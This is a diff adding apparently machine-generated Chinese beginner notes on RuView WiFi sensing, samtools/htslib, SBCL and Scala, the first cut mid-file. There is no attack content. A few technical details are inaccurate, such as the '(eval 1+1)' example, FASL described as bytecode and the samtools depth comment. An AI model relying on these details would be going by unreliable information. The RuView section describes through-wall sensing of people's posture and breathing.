+    zero_crossings = np.where(np.diff(np.sign(filtered)))[0]
+    duration = len(filtered) / sample_rate
+    breaths = len(zero_crossings) / 2  # 每次完整呼吸对应两次穿越
+    breathing_bpm = (breaths / duration) * 60
+    
+    return breathing_bpm
+```
+
+---
+
+## 三、核心概念二：WiFi DensePose（WiFi 密集姿态估计）
+
+### 日常类比
+
+还记得"士兵队伍"的比喻吗？RuView 更进一步：它不只是知道"路上有东西"，而是能画出**那个东西的形状和姿势**。
+
+想象你能通过回声的细微差别，听出房间里的人在做什么——是坐着、站着、还是在挥手。WiFi DensePose 做的就是这样的事，只不过用的是无线电波而不是声音。
+
+### 技术解释
+
+RuView 训练了一个深度学习模型，输入是 CSI 数据（60+ 个子载波的相位和幅度），输出是人的 17 个关键关节点位置。这就像 OpenPose 或 MediaPipe 做视觉姿态估计，但用的是 WiFi 信号。
+
+- **预训练编码器**：128 维的"环境指纹"，在 6 万帧数据上无监督训练了 1220 万步
+- **量化版本**：4-bit 量化后仅 8KB，可以跑在树莓派上
+- **姿态估计精度**：在 MM-Fi 基准测试上达到 82.69% torso-PCK@20，超过了之前的 SOTA
+
+### 代码示例 3：加载预训练模型
+
+```python
+# 示例：下载并加载 RuView 的预训练模型
+from huggingface_hub import snapshot_download
+import torch
+from safetensors.torch import load_file
+
+# 从 HuggingFace 下载预训练模型
+model_dir = snapshot_download(
+    repo_id="ruvnet/wifi-densepose-pretrained"
+)
+
+# 加载量化后的轻量模型（仅 8KB，适合边缘设备）
+# model-q4.bin 是推荐的量化版本
+weights = load_file(f"{model_dir}/model-q4.bin")
+
+# 或者加载完整模型（48KB，更高精度）
+# weights = load_file(f"{model_dir}/model.safetensors")
+
+# 提取 CSI 嵌入（128维环境指纹）
+# 输入：CSI 张量 [batch, num_subcarriers]
+# 输出：嵌入向量 [batch, 128]
+# 在 M4 Pro 上推理速度：164,183 次嵌入/秒
+```
+
+---
+
+## 四、核心概念三：边缘智能 + 多传感器网络
+
+### 日常类比
+
+如果你只在一个角落放一个烟雾探测器，它不知道烟雾是从哪个房间来的。但如果每个房间都有一个，并且它们能互相"商量"，就能精确定位。
+
+RuView 也是这样：用多个便宜的 WiFi 传感器（ESP32，每个约 9 美元）组成网络。每个节点独立感知，然后一起协作定位。
+
+### 技术架构
+
+RuView 支持多种硬件方案：
+
+| 方案 | 硬件 | 成本 | 能力 |
+|------|------|------|------|
+| 入门级 | 单台 WiFi 笔记本 | $0 | 仅存在检测（RSSI 级别） |
+| 推荐 | ESP32-S3 + Cognitum Seed | ~$140 | 完整能力：生命体征、姿态、隔墙感知 |
+| 最小化 | ESP32 Mesh (3-6 个节点) | ~$54 | 完整感知，无持久化记忆 |
+| 研究级 | Intel 5300 NIC | ~$80 | 3x3 MIMO 全 CSI |
+
+### 代码示例 4：快速启动（Docker 模拟）
+
+不需要任何硬件即可体验：
+
+```bash
+# 方式一：Docker 运行（模拟数据，无需硬件）
+docker pull ruvnet/wifi-densepose:latest
+docker run -p 3000:3000 ruvnet/wifi-densepose:latest
+# 打开 http://localhost:3000 查看实时可视化
+
+# 方式二：连接真实的 ESP32 传感器
+# 先烧录固件到 ESP32-S3 开发板
+python -m esptool --chip esp32s3 --port COM9 --baud 460800 \
+  write_flash 0x0 bootloader.bin 0x8000 partition-table.bin \
+  0xf000 ota_data_initial.bin 0x20000 esp32-csi-node.bin
+
+# 配置 WiFi 连接
+python firmware/esp32-csi-node/provision.py --port COM9 \
+  --ssid "你的WiFi" --password "密码" --target-ip 192.168.1.20
+
+# 启动实时 RF 房间扫描
+node scripts/rf-scan.js --port 5006
+```
+
+---
+
+## 五、能感知什么？能力速览
+
+RuView 能检测的信号类型：
+
+| 感知类型 | 原理 | 实时范围 |
+|----------|------|----------|
+| 呼吸频率 | 对解包裹相位做带通滤波，计算零交叉 BPM | 6-30 次/分钟 |
+| 心率 | 带通滤波 0.8-2.0 Hz，零交叉 BPM | 40-120 BPM |
+| 存在检测 | 预训练模型 + 相位方差回退 | < 1 毫秒 |
+| 姿态估计 | 17 关节点 WiFi DensePose 模型 | 8.4 ms 冷启动 |
+| 跌倒检测 | 相位加速度阈值 + 3 帧防抖 | < 200 毫秒 |
+| 隔墙感知 | 菲涅尔区几何 + 多径建模 | 最远约 5 米 |
+| 多人计数 | 自适应 P95 归一化 + 去重因子 | 实时自校准 |
+
+**隐私保护**：整个系统运行在本地边缘设备上。不需要摄像头，不上传任何视频或图像到云端。所有数据处理都在 ESP32 或本地树莓派上完成。
+
+---
+
+## 六、智能家居集成
+
+RuView 不是孤立运行的——它能无缝接入主流智能家居平台：
+
+- **Home Assistant**：通过一个 `--mqtt` 参数即可接入，自动发布 21 个实体（11 个原始信号 + 10 个语义状态）
+- **Apple Home**：作为 HAP 1.1 桥接设备被发现
+- **Google Home / Alexa / SmartThings**：通过 Matter 端点支持
+
+这意味着你可以对 Siri 说："Siri，卧室有人吗？"——RuView 会回答你的问题。
+
+---
+
+## 七、关键数字
+
+- **GitHub Stars**：73,500+（截至 2026 年 6 月）
+- **Forks**：9,800+
+- **预训练模型**：在 HuggingFace 上，4-bit 量化仅 8KB
+- **边缘模型大小**：完整模型约 55KB，可跑在 ESP32 上
+- **测试覆盖**：1,463 个测试用例通过
+- **主要语言**：Rust 55.5%，Python 15.6%
+- **许可**：MIT
+
+---
+
+## 八、技术原理深度理解：从物理学到数据
+
+RuView 的底层逻辑可以总结为一个公式：
+
+```
+WiFi 信号发射 → 遇到人体反射/散射 → 多径信号变化 → CSI 采集 → DSP 处理 → AI 模型 → 感知结果
+```
+
+每一步的关键：
+
+1. **物理层**：人体对 2.4GHz/5GHz 无线电波的散射和吸收
+2. **采集层**：ESP32 的 CSI 提取（通过自定义固件）
+3. **信号处理**：带通滤波、相位解包裹、去噪
+4. **AI 层**：对比学习编码器 + 姿态估计头
+5. **应用层**：智能家居集成 + 可视化
+
+---
+
+## 九、总结
+
+RuView 的核心思想其实非常优雅：
+
+> 你房间里已经充满了 WiFi 信号——为什么不利用它们来"看见"呢？
+
+它不需要你安装新的摄像头（侵犯隐私），不需要你佩戴任何设备（不方便），也不需要互联网连接（隐私 + 可靠性）。它只用了一个你已经拥有的东西：WiFi 路由器。
+
+对于一个零基础的学习者来说，理解 RuView 的关键不在于记住所有技术细节，而在于理解这个思维方式转变：
+
+**从"WiFi 是用来传输数据的"到"WiFi 信号本身携带了环境信息"。**
+
+这个转变背后涉及的领域很广：信号处理、深度学习、嵌入式系统、智能家居协议。如果你对这个方向感兴趣，可以从以下路径深入学习：
+
+1. 了解 WiFi CSI 是什么（信号处理基础）
+2. 学习基本的滤波和频谱分析（用 Python 的 numpy/scipy）
+3. 理解对比学习（无监督学习的核心思想）
+4. 买一块 ESP32 开发板动手实践
+
+下一步你想深入了解哪个部分？
diff --git a/src/content/docs/projects/samtools-htslib.md b/src/content/docs/projects/samtools-htslib.md
new file mode 100644
index 000000000..1728d9d53
--- /dev/null
+++ b/src/content/docs/projects/samtools-htslib.md
@@ -0,0 +1,285 @@
+---
+title: "samtools / htslib 零基础学习笔记"
+来源: https://github.com/samtools/samtools
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# samtools / htslib 零基础学习笔记
+
+## 一、它到底是干什么的？——一个日常类比
+
+想象你在图书馆找书。
+
+每天，基因测序仪会产出海量的"小纸条"——每条纸条上写着几十个字母（A、C、G、T），这些就是测序读段（reads）。图书馆管理员需要做几件事：
+
+1. 把纸条装进**密封袋**（压缩文件），节省空间
+2. 给每袋纸条**编上索引**（索引文件），这样要找"第 1000 号染色体附近"的内容时不用拆完所有袋子
+3. 把纸条和图书馆的**总目录**（参考基因组）对比，看看每条纸条属于哪本书、哪一页
+4. 最后统计：哪些位置被纸条覆盖得多（覆盖深度），哪些地方有"拼错的字"（基因变异）
+
+**samtools** 就是这个图书馆的管理系统，而 **htslib** 是它的底层工具箱。
+
+samtools 和 htslib 是同一个开源家族（GitHub: samtools）下的三个项目中的两个：
+
+| 项目 | 一句话 |
+|------|--------|
+| **htslib** | C 语言库，专门读写各种高通量测序文件格式 |
+| **samtools** | 命令行工具，处理 SAM/BAM/CRAM 格式的比对数据 |
+| **bcftools** | 命令行工具，处理 VCF/BCF 格式的变异数据 |
+
+samtools 和 bcftools 都依赖 htslib 来完成最底层的工作——读写文件、压缩解压缩、建立索引。
+
+## 二、核心文件格式：SAM、BAM、CRAM
+
+这三个格式存的是同一种东西：**测序读段比对到参考基因组后的结果**。
+
+### SAM —— 纯文本，像 CSV
+
+SAM (Sequence Alignment/Map) 就是一个文本文件，每一行代表一条读段的比对结果。前几行是表头（以 `@` 开头），之后每一行 11 个必填字段，用制表符分隔：
+
+```
+read_name  flag  ref_name  pos  mapq  cigar  rnext  pnext  tlen  seq  qual
+```
+
+打个比方，一行 SAM 记录就像快递单上的信息：
+
+```
+read001  99  chr1  1000  60  50M  chr1  1100  250  ATCG...  IIII...
+```
+
+意思就是：编号 `read001` 的读段，以 1000 号位置开始比对到 `chr1`，它的配对读段在 1100 号位置，两个读段之间相隔约 250 个碱基。
+
+### BAM —— SAM 的二进制压缩版
+
+SAM 文本文件很大，BAM 就是它的二进制压缩版本——内容一模一样，但文件更小、读写更快。可以理解为 SAM 是"TXT 文件"，BAM 是它的"ZIP 版"。
+
+### CRAM —— 更极致的压缩
+
+CRAM 是更新的格式，它不存完整序列，而是只存"与参考基因组不同的部分"。打个比方：
+
+- SAM/BAM：每条快递单上完整写出"我从北京寄给上海"
+- CRAM：快递单上只写"我从[参考城市A]寄给[参考城市B]"，因为大家都已知晓参考信息
+
+所以 CRAM 文件通常比 BAM 小 60-80%，但读取时需要参考基因组。
+
+### 索引文件
+
+BAM 和 CRAM 文件旁边经常跟着 `.bai`、`.csi` 或 `.crai` 后缀的索引文件。就像书的目录，让你能快速跳到"第 1000-2000 号位置"而不必遍历整个文件。
+
+## 三、核心概念速查
+
+### 1. FLAG —— 一个数字说一堆话
+
+每条读段都有一个 FLAG 字段（一个整数），用二进制位来表示各种属性。
+
+| 标志名 | 十六进制值 | 含义 |
+|--------|-----------|------|
+| PAIRED | 0x1 | 这是成对测序中的一条 |
+| PROPER_PAIR | 0x2 | 配对成功，两端都比对上了 |
+| UNMAP | 0x4 | 这条读段没有比对到参考基因组 |
+| REVERSE | 0x10 | 这条读段比对到反向链 |
+| READ1 | 0x40 | 这是 paired 的第一条读段（R1） |
+| READ2 | 0x80 | 这是 paired 的第二条读段（R2） |
+| DUP | 0x400 | 这是 PCR 重复（需要剔除） |
+
+一个 FLAG 值为 99 的读段：99 = 64 + 32 + 2 + 1，意味着：成对测序、第一条读段、配对成功、比对到正向链。
+
+### 2. CIGAR —— 比对结果的"拼图说明"
+
+CIGAR 字符串描述了一条读段的每个碱基是如何比对到参考基因组的。常用操作符：
+
+| 操作符 | 含义 | 消耗参考 | 消耗读段 |
+|--------|------|----------|----------|
+| M | 匹配/不匹配 | 是 | 是 |
+| I | 插入（读段多出来的） | 否 | 是 |
+| D | 缺失（参考多出来的） | 是 | 否 |
+| N | 大片段缺失（内含子） | 是 | 否 |
+| S | 软剪切（序列保留但不比对） | 否 | 是 |
+| H | 硬剪切（序列丢弃） | 否 | 否 |
+
+`50M` 表示 50 个碱基一一比对（可能有少数错配）。`10M5I20M` 表示前 10 个匹配、插入 5 个碱基、再匹配 20 个。
+
+### 3. MAPQ —— 比对的自信程度
+
+MAPQ (Mapping Quality) 是一个 0-60 的分数，越高表示这条读段越确定比对了正确的位置。60 = 极有信心，0 = 不知道比对在哪。
+
+### 4. 参考基因组 (Reference)
+
+参考基因组就是"标准答案"。所有读段都要跟它比对。最常用的版本是人类基因组 GRCh38。samtools 通过 `faidx` 命令为 FASTA 格式的参考基因组建立索引，实现随机访问。
+
+## 四、常用命令与代码示例
+
+### 示例 1：查看和转换文件格式
+
+这是最常用的命令 `samtools view`。
+
+**查看全部比对记录（输出为 SAM 文本）：**
+
+```bash
+samtools view aln.sorted.bam
+```
+
+**把 BAM 转为 SAM 文本，并带上表头：**
+
+```bash
+samtools view -h aln.sorted.bam > aln.sam
+```
+
+**只看 chr1 上 1000 到 5000 号位置的读段：**
+
+```bash
+samtools view aln.sorted.bam chr1:1000-5000
+```
+
+**把 BAM 转成更小的 CRAM 格式（需要参考基因组）：**
+
+```bash
+samtools view -C -T reference.fa -o aln.cram aln.sorted.bam
+```
+
+**把 CRAM 转回 BAM：**
+
+```bash
+samtools view -o aln.bam aln.cram
+```
+
+### 示例 2：排序、索引、统计
+
+对 BAM 文件排序（按染色体位置排序）是几乎所有下游分析的前置步骤：
+
+```bash
+# 按染色体位置排序，用 8 个线程加速
+samtools sort -@ 8 -o aln.sorted.bam aln.bam
+```
+
+建立索引文件（这样后面可以快速按区域查询）：
+
+```bash
+samtools index aln.sorted.bam
+# 生成 aln.sorted.bam.bai 索引文件
+```
+
+查看排序好的 BAM 文件的索引统计信息：
+
+```bash
+samtools idxstats aln.sorted.bam
+```
+
+输出类似：
+
+```
+chr1    248956422    15234567    234
+chr2    242193529    12345678    123
+chr3    198295559    9876543     45
+```
+
+第一列是染色体名，第二列是染色体长度，第三列是该染色体上比对的读段数，第四列是没有比对上的读段数。
+
+查看比对质量统计：
+
+```bash
+samtools flagstat aln.sorted.bam
+```
+
+输出类似：
+
+```
+30000000 + 0 in total (PAIRED:)
+28500000 + 0 properly paired (95.0%:)
+27000000 + 0 with itself and mate mapped
+150000 + 0 singletons (0.5%:)
+...
+```
+
+### 示例 3：生成深度覆盖表
+
+`samtools depth` 可以逐碱基查看每个位置的覆盖深度：
+
+```bash
+# 输出每个位置的第几号碱基、参考碱基、覆盖深度
+samtools depth aln.sorted.bam > coverage.txt
+```
+
+只看 chr1 前 1000 个碱基的覆盖深度：
+
+```bash
+samtools depth aln.sorted.bam chr1:1-1000 > chr1_start.txt
+```
+
+生成全基因组的覆盖统计摘要：
+
+```bash
+samtools coverage aln.sorted.bam > coverage_summary.txt
+```
+
+### 示例 4：提取 FASTQ 读段
+
+如果你需要从比对结果中"倒推"回原始读段：
+
+```bash
+# 从已按名称排序的 BAM 中提取 FASTQ
+samtools fastq -1 paired_R1.fastq -2 paired_R2.fastq -s single.fastq aln.sorted.bam
+```
+
+这会生成两个 paired-end 文件和一个只含未配对读段文件。
+
+## 五、htslib 是什么？——底层引擎
+
+如果你理解 samtools 像"图书馆管理系统"，htslib 就是系统背后的"数据库引擎"。
+
+htslib 是一个 C 语言库，提供了：
+
+- 读写 SAM/BAM/CRAM/VCF/BCF 等所有格式的 API
+- BGZF 压缩/解压缩（BAM 用的格式）
+- 建立和查询索引
+- 从 HTTP/FTP 远程读取文件（甚至不需要本地下载）
+
+samtools 的每个命令底层都在调用 htslib。如果你用 Python、R、Perl 或其他语言处理测序数据，你也可以直接链接 htslib——事实上 Python 的 `pysam` 库、R 的 `Rsamtools` 包都是 htslib 的封装。
+
+htslib 只依赖 zlib 一个库，非常轻量。它已被约 900 个 GitHub 项目直接使用，从 Bioconda 下载量超过 100 万次。
+
+## 六、典型工作流
+
+一个典型的测序数据分析流水线中，samtools 出现在多个环节：
+
+```
+FASTQ (原始读段)
+    |
+    |  [比对工具，如 BWA]
+    v
+SAM/BAM (比对结果)
+    |
+    |  samtools sort
+    v
+sorted.bam
+    |
+    |  samtools index
+    v
+sorted.bam.bai (索引文件)
+    |
+    |  samtools mpileup (生成 pileup)
+    v
+    |  [bcftools call 检测变异]
+    v
+VCF (变异列表)
+```
+
+## 七、学习资源
+
+- **官网**: https://www.htslib.org/
+- **samtools GitHub**: https://github.com/samtools/samtools
+- **htslib GitHub**: https://github.com/samtools/htslib
+- **bcftools GitHub**: https://github.com/samtools/bcftools
+- **文件格式规范**: http://samtools.github.io/hts-specs/
+- **工作流文档**: https://www.htslib.org/workflow/
+
+如需引用，可参考论文：
+
+> Twelve years of SAMtools and BCFtools. GigaScience, 2021.
+> DOI: https://doi.org/10.1093/gigascience/giab008
+
+> HTSlib: C library for reading/writing high-throughput sequencing data. GigaScience, 2021.
+> DOI: https://doi.org/10.1093/gigascience/giab007
diff --git a/src/content/docs/projects/sbcl.md b/src/content/docs/projects/sbcl.md
new file mode 100644
index 000000000..0eaa2a259
--- /dev/null
+++ b/src/content/docs/projects/sbcl.md
@@ -0,0 +1,212 @@
+---
+title: "SBCL 零基础学习笔记 — Steel Bank Common Lisp"
+来源: https://github.com/sbcl/sbcl
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# SBCL — Steel Bank Common Lisp
+
+## 一、它是什么？一句话类比
+
+想象你在写程序。大多数语言（比如 Python）像是"现场翻译"：你每说一句话，解释器就当场翻译执行。而 SBCL 像是一个工厂里的质检员——它先把你写的代码"编译"成机器能直接跑的二进制指令，然后再执行。编译后运行，速度比解释执行快很多。
+
+SBCL（Steel Bank Common Lisp）是目前最流行、性能最好的 Common Lisp 编译器。它是开源的，遵循宽松许可证，从 1990 年代的 CMUCL 项目演化而来。SBCL 支持 Linux、macOS、Windows、BSD 等多个平台，最新版本 2.6.5 发布于 2026 年 5 月。
+
+## 二、Common Lisp 是什么？
+
+Lisp 是 1958 年诞生的第二古老编程语言（仅次于 Fortran），以"代码即数据"的独特哲学闻名。Common Lisp 是 Lisp 的一个标准化版本（ANSI X3.226-1994），统一了多种 Lisp 方言，提供了完整的工业级语言特性：
+
+-  garbage collection（垃圾回收，自动管理内存）
+-  first-class functions（函数是一等公民，可以像数字一样传递）
+-  macros（宏系统，可以在编译时修改代码本身）
+-  CLOS（Common Lisp Object System，完整的面向对象系统）
+-  REPL（交互式开发环境，边写边跑边调试）
+
+## 三、SBCL 的核心特性
+
+### 1. 编译器而非解释器
+
+SBCL 本质上是一个"编译器优先"的实现。当你输入 `(eval 1+1)` 时，它实际上先调用 `compile` 把代码编译成函数，再调用 `funcall` 执行。这使得 `functionp` 和 `compiled-function-p` 在默认配置下基本等价。
+
+### 2. 强大的开发工具链
+
+SBCL 自带一整套开发者工具：
+- 交互式调试器（Debugger）
+- 统计分析型 Profiler（`sb-sprof`）
+- 精确到函数的 Profiler（`sb-profile`）
+- 代码覆盖率工具（`sb-cover`）
+- 原生多线程支持
+
+### 3. 可导出为独立可执行文件
+
+通过 `sb-ext:save-lisp-and-die`，SBCL 可以把当前运行状态连同 SBCL 运行时一起打包成一个独立的二进制文件，直接分发给没有 Lisp 环境的用户。
+
+### 4. FFI（外部函数接口）
+
+通过 `sb-alien` 包，SBCL 可以直接调用 C 语言函数、加载共享库（.so/.dll），这让它能桥接庞大的 C 生态。
+
+## 四、代码示例
+
+### 示例 1：Hello World + REPL 交互
+
+打开终端，输入 `sbcl` 进入 SBCL 的交互式环境（REPL），然后一行一行输入：
+
+```lisp
+;; 定义一个简单的函数，计算阶乘
+(defun factorial (n)
+  (if (<= n 1)
+      1
+      (* n (factorial (- n 1)))))
+
+;; 调用它
+(factorial 10)
+;; => 3628800
+
+;; 定义一个带格式的打印函数
+(defun greet (name)
+  (format t "Hello, ~A! Welcome to SBCL.~%" name))
+
+(greet "Jason")
+;; 输出: Hello, Jason! Welcome to SBCL.
+```
+
+**解读**：
+- `defun` 用来定义命名函数。括号里的 `n` 是参数名。
+- `if` 是最基本的条件判断：条件满足时执行第一个分支，否则执行第二个。
+- `*` 是乘法，`-` 是减法——Lisp 的数学运算符都是函数。
+- `format` 的 `t` 表示输出到标准输出，`~A` 是占位符，会被后面的参数替换。
+- `;` 后面是注释，类似很多语言的 `#`。
+
+### 示例 2：用 SBCL 的特色——宏（Macro）
+
+宏是 Common Lisp 最强大的特性之一。它允许你在编译时"生成代码"。先看一个日常类比：宏就像是在你写食谱之前，先让一个助手帮你把重复的步骤自动化写出来。
+
+```lisp
+;; 定义一个宏：when-let，当变量有值时才执行某段代码
+(defmacro when-let ((var value) &body body)
+  `(if ,value
+       (let ((,var ,value))
+         ,@body)
+       nil))
+
+;; 使用这个宏
+(when-let (x (find 5 '(1 2 3 4 5 6)))
+  (format t "Found: ~A~%" x))
+;; 输出: Found: 5
+
+;; 如果找不到，就不执行 body
+(when-let (x (find 99 '(1 2 3)))
+  (format t "This won't print.~%"))
+```
+
+**解读**：
+- `defmacro` 定义的是"代码生成器"，而不是普通函数。它接收的是**未求值的代码**（符号和列表本身）。
+- `` ` ``（反引号）表示"模板"，`,` 表示"在这里插入求值结果"，`,@` 表示"展开后面的列表"。
+- 上例中，`find 5 '(1 2 3 4 5 6)` 在编译时被宏展开为 `if` 条件判断，如果找到值就绑定到 `x` 再执行 body。
+- 这相当于在代码跑起来之前就"写好了代码"，是 Lisp 元编程的核心。
+
+### 示例 3：使用 SBCL 的统计 Profiler
+
+```lisp
+;; 加载 profiler 模块
+(require 'sb-sprof)
+
+;; 定义一个稍重的计算
+(defun fibonacci (n)
+  (if (< n 2)
+      n
+      (+ (fibonacci (- n 1))
+         (fibonacci (- n 2)))))
+
+;; 开始统计
+(sb-sprof:with-profiling (:report :summary)
+  (fibonacci 30))
+
+;; 输出类似：
+;; Total seconds (minimum-accuracy) ... 0.842000
+;; GC count: 1
+;; %   Total   Self   Name
+;; 90.0  0.758  0.758  FIBONACCI
+;; 10.0  0.084  0.084  CONS
+;; ...
+```
+
+**解读**：
+- `require` 加载 SBCL 的可选模块，`sb-sprof` 是统计分析型性能分析器。
+- `with-profiling` 包裹你要分析的代码。
+- `:report :summary` 让 profiler 在结束后输出一个汇总表。
+- 从输出可以看到 `FIBONACCI` 函数占了 90% 的时间——这对优化代码位置很有帮助。
+
+## 五、SBCL 与其他语言的关系
+
+| 对比维度 | SBCL | Python | JavaScript (V8) | Rust |
+|---------|------|--------|----------------|------|
+| 类型系统 | 动态类型（有类型声明优化） | 动态类型 | 动态类型（编译时优化） | 静态类型 |
+| 内存管理 | 自动生成回收（GC） | GC | GC | 无 GC（所有权系统） |
+| 编译方式 | AOT 编译（提前编译为机器码） | 字节码解释 | JIT 编译 | AOT 编译 |
+| 运行速度 | 接近 C（经过优化） | 较慢 | 快 | 最快 |
+| 开发方式 | 交互式 REPL 为主 | 交互式 REPL 为主 | Node 交互式 | 编译-运行循环 |
+| 宏系统 | 真正的代码生成宏 | 无 | 无 | 过程宏 |
+
+## 六、如何安装
+
+### macOS（使用 Homebrew）
+
+```bash
+brew install sbcl
+```
+
+安装后在终端输入 `sbcl` 即可进入交互式环境。
+
+### 从源码编译
+
+```bash
+# 下载源码
+wget https://sourceforge.net/projects/sbcl/files/sbcl/2.6.5/sbcl-2.6.5-source.tar.bz2
+tar -xjf sbcl-2.6.5-source.tar.bz2
+cd sbcl-2.6.5
+
+# 编译（需要 C 编译器）
+sh make.sh
+
+# 安装
+sh install.sh
+```
+
+编译需要 `gcc` 或 `clang` 以及 `make` 工具。
+
+## 七、学习路径建议
+
+1. **先熟悉 REPL**——在 SBCL 中一行一行试，像做实验一样
+2. **掌握基本语法**——`defun`、`let`、`if`、`format`、列表操作
+3. **理解函数式编程思维**——函数是一等公民，列表是核心数据结构
+4. **学习 CLOS 面向对象**——多重分派（multiple dispatch）是 Lisp 独有的
+5. **探索宏系统**——这是 Lisp 的"杀手级特性"
+6. **使用 SLIME**——Emacs + SLIME 是 SBCL 的黄金搭档开发环境
+
+## 八、关键术语速查
+
+| 术语 | 含义 |
+|-----|------|
+| REPL | 读-求值-输出循环，交互式编程环境 |
+| S-表达式 | Lisp 的基本语法单位，用括号表示的树形结构 |
+| 词法作用域 | 变量的作用域由代码的书写位置决定 |
+| 动态作用域 | 变量的作用域由调用链决定（Common Lisp 中特殊变量 `*foo*`） |
+| FASL | SBCL 的字节码文件格式，用于保存编译后的代码 |
+| Core image | SBCL 的内存快照，保存后可快速重启 |
+| ASDF | SBCL 社区的事实标准包管理系统 |
+
+## 九、总结
+
+SBCL 不是"又一个新语言"，而是 Lisp 家族中工业级、高性能的代表。它的核心竞争力在于：
+
+1. **速度快**——接近 C 的编译性能
+2. **交互强**——REPL 驱动的即时开发体验
+3. **元编程强**——宏系统让你能在编译时操作代码本身
+4. **工具全**——调试器、Profiler、覆盖率分析器一应俱全
+5. **生态稳**——从 1990 年代延续至今，社区成熟
+
+学习 SBCL 最大的挑战不是语法（S 表达式可能让人不习惯），而是思维方式从"命令式编程"转向"函数式 + 元编程"。一旦跨过去，你会看到一个完全不同的编程世界。
diff --git a/src/content/docs/projects/scala.md b/src/content/docs/projects/scala.md
new file mode 100644
index 000000000..1f0e66d62
--- /dev/null
+++ b/src/content/docs/projects/scala.md
@@ -0,0 +1,255 @@
+---
+title: Scala — 函数式 + OO 的 JVM 语言
+来源: https://github.com/scala/scala
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Scala**（Scalable Language）由 Martin Odersky 在 EPFL 主导设计，2004 年首次发布，官方编译器与标准库托管于 [scala/scala](https://github.com/scala/scala)。它运行在 **JVM** 上，与 Java 字节码互操作；也可编译到 **JavaScript**（Scala.js）与 **WebAssembly**（Scala Native / Scala.js 生态）。当前主流版本为 **Scala 3**（2021 起），在保留 Scala 2 生态的同时简化了隐式、枚举与类型推导。
+
+日常类比：如果把 **Java** 想象成一家规矩森严的**连锁超市**——分区清晰（类与接口）、进货渠道固定（继承树）、收银流程统一（样板代码多）；那 **Scala** 像是同一商圈里的**融合料理餐厅**：
+
+- **后厨既会做中餐也会做西餐**（OOP 的类/特质 + FP 的不可变集合与高阶函数），同一道菜可以用不同技法完成；
+- **菜单用「套餐组合」代替冗长说明**（`case class` + 模式匹配），点「宫保鸡丁」不必逐条写辣椒、花生、鸡肉；
+- **地下通道直连超市仓库**（与 Java 互操作），你可以只把新菜放在融合餐厅，原料仍从 Java 货架取；
+- **主厨带学徒时会说「缺什么自己从备料台拿」**（`given` 隐式实例 / 旧版 `implicit`），写 JSON 序列化不必每个类型手写一遍。
+
+Scala 在 **Apache Spark**（大数据）、**Akka / Pekko**（Actor 并发）、**Play Framework**（Web）、**Cats / ZIO**（函数式库）等生态中仍是核心语言；Kotlin 崛起后，Scala 更偏向「需要强表达力与类型抽象」的团队，而非 Android 首选。
+
+## 为什么值得学
+
+零基础或从 Java 转 Scala，常见收益：
+
+| 痛点（Java / 传统 OOP） | Scala 的应对 |
+|-------------------------|--------------|
+| `if`/`switch` 与表达式割裂，临时变量多 | **一切皆表达式**：`if`、`match`、`for` 都有返回值 |
+| POJO + getter/setter + `equals` 冗长 | **`case class`** 自动生成相等性、`copy`、`toString` |
+| `instanceof` + 强制转型易漏分支 | **`match` 模式匹配** + `sealed trait` 编译期穷尽检查 |
+| 回调与线程安全难写 | **不可变集合** + **Future** / **Actor** / **ZIO** 等组合子 |
+| 想复用 Java 资产 | 同一 JVM 类路径，直接 `import java.util._` |
+
+即使不主力写 Scala，懂它也有助于理解 **Spark SQL**、**Kafka Streams** 部分 API、以及 **TypeScript / Kotlin** 里「代数数据类型 + 模式匹配」的设计来源。
+
+## 核心概念
+
+### 1. 编译管线：从 `.scala` 到 JVM
+
+```
+┌────────────────────────────────────────────────────────────┐
+│  源码 .scala / .sc（脚本）                                   │
+├────────────────────────────────────────────────────────────┤
+│  Scala 编译器（scalac，Scala 3 起部分用 Dotty 重写）          │
+│    → JVM：.class 字节码（与 javac 产物互操作）                │
+│    → Scala.js：JavaScript                                   │
+│    → Scala Native：LLVM 原生二进制（实验/专用场景）           │
+├────────────────────────────────────────────────────────────┤
+│  运行时：JVM HotSpot + Java 标准库 + Scala 标准库             │
+└────────────────────────────────────────────────────────────┘
+```
+
+构建工具常用 **sbt**（Scala 原生）、**Mill**，或与 Java 项目混用 **Maven** / **Gradle**（`scala` 插件）。
+
+### 2. 纯面向对象：一切皆对象
+
+Scala 是 **纯 OOP** 语言：数字 `42`、函数本身都是对象；`+`、`-` 等运算符实际是方法调用（`1.+(2)`）。没有 Java 式的原始类型（`int` 在运行时是 `Integer` 或值类的包装）。
+
+类与 **trait**（特质）描述行为；**单例对象**（`object`）代替 Java 的 `static`，也是模块与伴生对象的载体。
+
+### 3. 纯函数式：函数是一等公民
+
+函数可以赋值、作为参数传递、嵌套定义；标准库提供 `map`、`filter`、`foldLeft` 等组合子。**不可变**集合（`List`、`Vector`、`Map`）是默认推荐；可变版本在 `scala.collection.mutable` 包中。
+
+```scala
+val nums = List(1, 2, 3, 4, 5)
+val evensSquared = nums
+  .filter(_ % 2 == 0)
+  .map(x => x * x)
+// List(4, 16)
+```
+
+`_` 是占位符语法：`_ % 2 == 0` 等价于 `x => x % 2 == 0`（单参数时）。
+
+### 4. `val` 与 `var`：默认不可变
+
+- **`val`**：引用不可重新绑定（对象内部可变字段除外）。
+- **`var`**：可重新赋值，函数式风格中尽量少用。
+
+```scala
+val name: String = "Scala"
+val year = 2004          // 类型推断为 Int
+var downloads = 1_000_000
+downloads += 1           // 仅 var 允许
+```
+
+### 5. `case class` 与代数数据类型（ADT）
+
+`case class` 介于 Java `record` 与函数式 ADT 之间：构造即工厂、自动 `equals`/`hashCode`、支持模式匹配解构。
+
+```scala
+enum Status:
+  case Ok(data: String)
+  case Err(code: Int, msg: String)
+
+def describe(s: Status): String = s match
+  case Status.Ok(d)   => s"成功: $d"
+  case Status.Err(c, m) => s"错误 $c: $m"
+```
+
+Scala 3 的 **`enum`** 是官方推荐的封闭 ADT 写法；Scala 2 常用 `sealed trait` + 多个 `case class`。
+
+### 6. 模式匹配 `match`
+
+`match` 是增强版 `switch`：可按类型、结构、守卫条件分支；对 **`sealed`** 层次结构，编译器可警告 **非穷尽匹配**。
+
+```scala
+sealed trait Shape
+case class Circle(r: Double) extends Shape
+case class Rect(w: Double, h: Double) extends Shape
+
+def area(s: Shape): Double = s match
+  case Circle(r) => math.Pi * r * r
+  case Rect(w, h) => w * h
+```
